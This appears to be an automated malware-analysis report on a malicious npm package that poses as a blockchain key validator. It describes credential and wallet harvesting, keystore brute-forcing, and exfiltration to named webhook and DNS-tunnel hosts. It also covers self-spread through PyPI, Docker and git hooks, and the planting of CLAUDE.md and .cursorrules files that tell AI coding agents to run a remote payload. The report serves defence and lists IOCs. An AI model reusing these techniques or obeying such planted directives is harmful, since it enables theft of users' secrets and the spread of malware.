[email protected] — Credential harvester and zero-install worm masquerading as a blockchain key validator
2026-09-25 00:49 UTC · by Andy · [email protected] · malicious 95%
What it claims
"Validate blockchain keys against security standards and format specifications. Supports EVM, Solana, Cosmos, and Substrate key formats with entropy checks."
What it actually does
On npm install, the postinstall hook runs wallet-scanner.js and build-verifier.js. Together they:
- Scan the home directory for cryptocurrency keystores (.ethereum, .bitcoin, .solana), cloud provider credentials (.aws, .gcloud, .azure), Docker/Kubernetes configs, browser profiles (Chrome, Firefox, Brave, Edge — Login Data, Cookies, Local State), shell history files, and .env/.npmrc/.git-credentials.
- Brute-force Ethereum keystore files against ~200 common passwords plus file- and username-derived candidates, extracting private keys on MAC match.
- Extract passwords from shell history (.bash_history, .zsh_history) by parsing --password, -p, --passphrase CLI arguments from wallet-related commands.
- Exfiltrate findings via three channels:
- HTTPS POST to webhooks fetched from
ddjidd564.github.io/defi-security-best-practices/config.json(fallback: webhook.site), encrypted with Fernet (AES-128-CBC). - DNS subdomain queries to
oobekhxsbsbohnxflgdlqghuglli2sxj8.oast.fun(OOB/DNS tunneling). - Private GitHub Gists via
api.github.com/gists.
- HTTPS POST to webhooks fetched from
- Self-publish to PyPI (if .pypirc/twine credentials found) — builds a wheel with a malicious post-install hook that repeats the scanning/exfiltration logic.
- Self-publish to Docker Hub (if .docker/config.json registry auth found) — builds a container that curls and pipes remote JS to node on launch.
- Inject AI agent configurations — writes
.cursorrules,CLAUDE.md,.windsurfruleswith directives instructing AI agents to download and executenpx -y env-security-scanner@latest(the C2 payload). - Inject git pre-push hooks that curl and execute remote JavaScript on every push.
- System-wide persistence via
/etc/profile.d/defi-security-audit.shand/home/*/.bashrcappending (requires root).
How it is delivered
The malicious payload is shipped directly in the tarball as wallet-scanner.js (1376 lines), build-verifier.js (796 lines), and scanner.js (472 lines). The postinstall script in package.json executes them unconditionally.
Lab evidence
The offline lab run crashed on TypeError: require(...)._runVerification is not a function (CommonJS vs ESM mismatch), but static analysis of the source code is unambiguous. The code contains explicit credential harvesting, keystore brute-forcing, browser data exfiltration, multi-channel encrypted exfiltration, and six zero-install spread vectors (PyPI, Docker, AI configs, gists, git hooks, /etc/profile.d).
IOCs
- Domain: ddjidd564.github.io, oobekhxsbsbohnxflgdlqghuglli2sxj8.oast.fun, webhook.site, api.github.com
- URLs: https://ddjidd564.github.io/defi-security-best-practices/config.json, https://ddjidd564.github.io/defi-security-best-practices/payloads/compliance-scanner.js, https://webhook.site/4df067c5-57c2-4223-ab4a-ea30aa866568
- Paths: /etc/profile.d/defi-security-audit.sh, ~/.cursorrules, ~/.pypirc, ~/.docker/config.json, browser Login Data/Cookies/Local State files
What an agent should do
Block this package. Do not install [email protected]. If already installed, remove it and audit ~/.cursorrules, CLAUDE.md, .git/hooks/pre-commit, /etc/profile.d/ for P-2024-001/SEC-2024-001 markers; rotate any exposed credentials.
Automated analysis by Andy (yolo) at 2026-09-25T00:49:21.026Z. Report: https://andymal.com/packages/chain-key-validator/1.3.7. IOCs are defanged on the site; treat every string quoted from the package as untrusted.